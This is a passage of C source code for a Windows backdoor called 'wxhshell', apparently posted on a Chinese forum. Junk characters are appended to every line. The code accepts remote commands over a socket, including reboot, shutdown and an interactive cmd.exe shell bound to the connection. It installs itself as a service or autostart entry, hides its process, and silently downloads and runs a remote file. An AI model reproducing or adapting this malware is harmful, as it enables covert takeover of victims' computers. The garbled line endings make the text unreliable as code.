  // 帮助 d%UzQ*s  
  case '?': { d_Jj&:"l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z5 p [*LMO  
    break; h*R w^5,c  
  } r1TdjnP,2^  
  // 安装 H,c`=Ii3  
  case 'i': { Gr4v&Mz:  
    if(Install())  o*Xfgc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Z21|5  
    else JA*+F1s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nEUUD3a  
    break; ps;dbY*s6  
    } %E5b }E#  
  // 卸载 16>D?;2o(  
  case 'r': { ,kf.'N  
    if(Uninstall()) ^|SiqE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]<.m]  
    else yVp,)T9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yM`u]p1  
    break; ?5jLN&A3 G  
    } Se_]=>WI  
  // 显示 wxhshell 所在路径 ;?k<L\zaw  
  case 'p': { 8ok=&Gq4  
    char svExeFile[MAX_PATH]; Vef!5]t5  
    strcpy(svExeFile,"\n\r"); 2kt0Rxg  
      strcat(svExeFile,ExeFile); DJ DQH\&  
        send(wsh,svExeFile,strlen(svExeFile),0); #N"u 0  
    break; lWe cxD$  
    } "%)g^Atp>  
  // 重启 LP=y$B  
  case 'b': { R*!s'R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ @ fKKb|  
    if(Boot(REBOOT)) xr{Ym99E$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aU~?&]  
    else { E%DT;1  
    closesocket(wsh); qY$ [2]  
    ExitThread(0); NYr)=&)Ke.  
    } d!UxFY@  
    break; co~NXpqg  
    } yQ$]`hr;  
  // 关机 7FJ4;HLQ  
  case 'd': { c -PZG|<C[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TZ+ p6M8G  
    if(Boot(SHUTDOWN)) )|vy}Jf7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s[sv4hq  
    else { 14" 57Jt8  
    closesocket(wsh); <zL_6Y2  
    ExitThread(0); 3LT~- SvL  
    } 0ki- /{;  
    break; XPU>} 4{  
    } |1 "&[ .  
  // 获取shell EG`6T  
  case 's': { xnt)1Q  
    CmdShell(wsh); ;Y[D#Ja-  
    closesocket(wsh); ^~.AV]t|  
    ExitThread(0); A[8m3L#k  
    break; E]rXp~AZm  
  } u5Vgi0}A  
  // 退出 4qz+cB_  
  case 'x': { bD0l^?Hu!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rVqQo` K\  
    CloseIt(wsh); Q"ZpT  
    break; l'/`2Y1  
    } *V%"q|L8  
  // 离开 (jA5`4>u  
  case 'q': { L2,2Sn*4i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z3weFbCH  
    closesocket(wsh); L/[VpD  
    WSACleanup(); $3 P De  
    exit(1); pa1<=w  
    break; $TmEVC^ 0  
        } g{Al:}u>  
  } (^35cj{s  
  } AU3Rz&~  
HWsV_VAw}  
  // 提示信息 0\{dt4nW&O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fj;ZGbg-O  
} hAAh  
  } F5qA!jZ1]  
Q{|%kU"  
  return; P,ueLG=  
} HoABo:  
?UAuUFueA  
// shell模块句柄 dI ,A;.  
int CmdShell(SOCKET sock) @k&6\1/U  
{ Vf&U`K  
STARTUPINFO si; D9[19,2r`  
ZeroMemory(&si,sizeof(si)); 1oej<67PdJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I09 W=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o 2 Nu@^+  
PROCESS_INFORMATION ProcessInfo; [M[<'+^*  
char cmdline[]="cmd"; 8Y.q P"s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v*?8:>:}  
  return 0; JFVx&  
} v?OVhV  
lG\uJxV  
// 自身启动模式 D,}bTwRb-  
int StartFromService(void) &liON1GLM  
{ D{6 y^@/  
typedef struct ?"mZb#%  
{ K2zln_W  
  DWORD ExitStatus; PPB/-F]rr  
  DWORD PebBaseAddress; (s,&,I=@  
  DWORD AffinityMask; KU,SAcfR7  
  DWORD BasePriority; c$ !?4z_.  
  ULONG UniqueProcessId; ]]PNYa  
  ULONG InheritedFromUniqueProcessId; 7b[s W|{  
}   PROCESS_BASIC_INFORMATION; SG)Fk *1  
C '( Y  
PROCNTQSIP NtQueryInformationProcess; <#h,_WP*  
z3uR1vF'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S-S%IdL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C P}fxDW  
bO\++zOF  
  HANDLE             hProcess; ^x\VMd3*w  
  PROCESS_BASIC_INFORMATION pbi; P+o"]/7U  
|CDM(g>%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /AD&z?My+E  
  if(NULL == hInst ) return 0; j~k,d.17M  
X$>F78e*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \R<MQ# x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #{}?=/nJ~-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (<eLj Q  
N l@G\_  
  if (!NtQueryInformationProcess) return 0; iAk:CJ{  
]&%KU)i?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {Nl?  
  if(!hProcess) return 0; [t?tLUg|6  
o'#& =h$_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S&` 6pN  
6kH6"  
  CloseHandle(hProcess); y''~j<'  
a yA;6Qt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w 0_P9g:  
if(hProcess==NULL) return 0; V1]GOmXz  
<R7{W"QTA)  
HMODULE hMod; Zo<)r2|O.  
char procName[255]; <a"(B*bBd  
unsigned long cbNeeded; U3{<+vSR`  
Z< i }XCE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mp`$1Ksn  
;qgo=  
  CloseHandle(hProcess); 2R&\qZ<  
&s+l/;3  
if(strstr(procName,"services")) return 1; // 以服务启动 ~.W]x~X$  
r'OqG^6JFN  
  return 0; // 注册表启动 SUc%dpXZa  
} XPX?+W=mv  
(SyD)G\rj  
// 主模块 W#F9Qw  
int StartWxhshell(LPSTR lpCmdLine) ]%E h"   
{ ?}KRAtJ8  
  SOCKET wsl; =wh[D$n$~  
BOOL val=TRUE; lnyb4d/  
  int port=0; eM<N?9s  
  struct sockaddr_in door; kkq1:\pZ]a  
ab2FK  
  if(wscfg.ws_autoins) Install(); =\O#F88ui  
GOc   
port=atoi(lpCmdLine); MT-Tt  
Zk=,`sBC  
if(port<=0) port=wscfg.ws_port; iwK.*07+  
..} P$  
  WSADATA data; y!=,u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IEhD5?  
/}m)FaAi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uyWheR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4H#-2LV`  
  door.sin_family = AF_INET; x(Bt[=,K3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PQ 4mNjXN  
  door.sin_port = htons(port); RsZj  
;ek*2Lh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y :!L  
closesocket(wsl); 2`4m"DtA  
return 1; Oh! {E5!)  
} [[$C tqLg  
;:6\w!fc  
  if(listen(wsl,2) == INVALID_SOCKET) { \V>5)R n  
closesocket(wsl); N{v)pu.  
return 1; =LaEEL  
} Ek L2nI  
  Wxhshell(wsl); ^p3 GT6  
  WSACleanup(); "W7|Xp  
`WayR^9  
return 0; 4C*ywP  
KnG7w^  
} } k2 Q  
d6J/)nl  
// 以NT服务方式启动 v6*0@/L M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MNu0t\`p4  
{ -uYxc=4Lh  
DWORD   status = 0; ;QBS0x\f@  
  DWORD   specificError = 0xfffffff; DG;7+2U  
C8-7XQ=B:b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oai=1vt@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |oPRP1F-;e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N9w"Lb  
  serviceStatus.dwWin32ExitCode     = 0; 36=aahXd\  
  serviceStatus.dwServiceSpecificExitCode = 0; (uC8M,I\  
  serviceStatus.dwCheckPoint       = 0; fu5L)P^T  
  serviceStatus.dwWaitHint       = 0; q/ljH_-  
]}v]j`9m%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b}K,wAx  
  if (hServiceStatusHandle==0) return; pl]|yIZ  
hP"2X"kz&  
status = GetLastError(); {:1j>4m 2  
  if (status!=NO_ERROR) BP3Ha8/X  
{  lbHgxZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dbby.%  
    serviceStatus.dwCheckPoint       = 0;  QHNyH  
    serviceStatus.dwWaitHint       = 0; ? Lg(,-:  
    serviceStatus.dwWin32ExitCode     = status; KwL_ae6fV  
    serviceStatus.dwServiceSpecificExitCode = specificError; :F:1(FDP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cw<I L  
    return; *z~,|DQ(A  
  } Cab.a)o  
t7]j6>MK3q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F rc  kA  
  serviceStatus.dwCheckPoint       = 0; & P-8_I  
  serviceStatus.dwWaitHint       = 0; /*#o1W?wQZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;5tOQ&p%v  
} Jq/itsg  
{+67<&g  
// 处理NT服务事件,比如:启动、停止 g{'f%bkG  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  L8`v  
{ UA$IVK&{  
switch(fdwControl) QEr<(wM-y  
{ MfL7|b)  
case SERVICE_CONTROL_STOP: ~Gfytn9x.;  
  serviceStatus.dwWin32ExitCode = 0; MltO.K!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \W*L9azr  
  serviceStatus.dwCheckPoint   = 0; t%}<S~"  
  serviceStatus.dwWaitHint     = 0; -#ZLu.  
  { *`H*@2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pAy4%|(  
  } =z'(FP5!0  
  return; c""&He4zp  
case SERVICE_CONTROL_PAUSE: mh3S?Uc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZO<,V  
  break; `DYhGk  
case SERVICE_CONTROL_CONTINUE: FOk&z!xYKd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pxr/*X  
  break; >PA*L(Dh%  
case SERVICE_CONTROL_INTERROGATE: 3F;C{P!  
  break; 0+CcNY9  
}; 7"(Zpu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `>sOOA  
} }t^wa\   
u$d[&|`>_  
// 标准应用程序主函数 <\#'o}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *)E${\1'<  
{ d"FB+$  
G0 )[(s  
// 获取操作系统版本 LzU'6ah';5  
OsIsNt=GetOsVer(); R #wZW&N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ce;7  
 LSC[S:  
  // 从命令行安装 o|@0.H|  
  if(strpbrk(lpCmdLine,"iI")) Install(); =o 9s?vOJ  
SoU(fI[6  
  // 下载执行文件 y RxrfAdS  
if(wscfg.ws_downexe) { jSp&\Wjb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qf~>5(,h  
  WinExec(wscfg.ws_filenam,SW_HIDE); V}s/knd  
} _.JQ h   
L3%frIUd  
if(!OsIsNt) { {xZY4b2  
// 如果时win9x,隐藏进程并且设置为注册表启动 a&%aads  
HideProc(); ~0p8joOH  
StartWxhshell(lpCmdLine); `]5qIKopL  
} q=X<QhK  
else "KIY+7@S}  
  if(StartFromService()) hju^x8 ,=m  
  // 以服务方式启动 sBadiDG~9  
  StartServiceCtrlDispatcher(DispatchTable); Jx+6Kq(  
else 8Yq06o38C  
  // 普通方式启动 g4Z Uh@b~  
  StartWxhshell(lpCmdLine); #|sE]\bsH  
Lp&nO  
return 0; =2 HY]H  
}
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只看该作者 1 发表于: 2006-10-10
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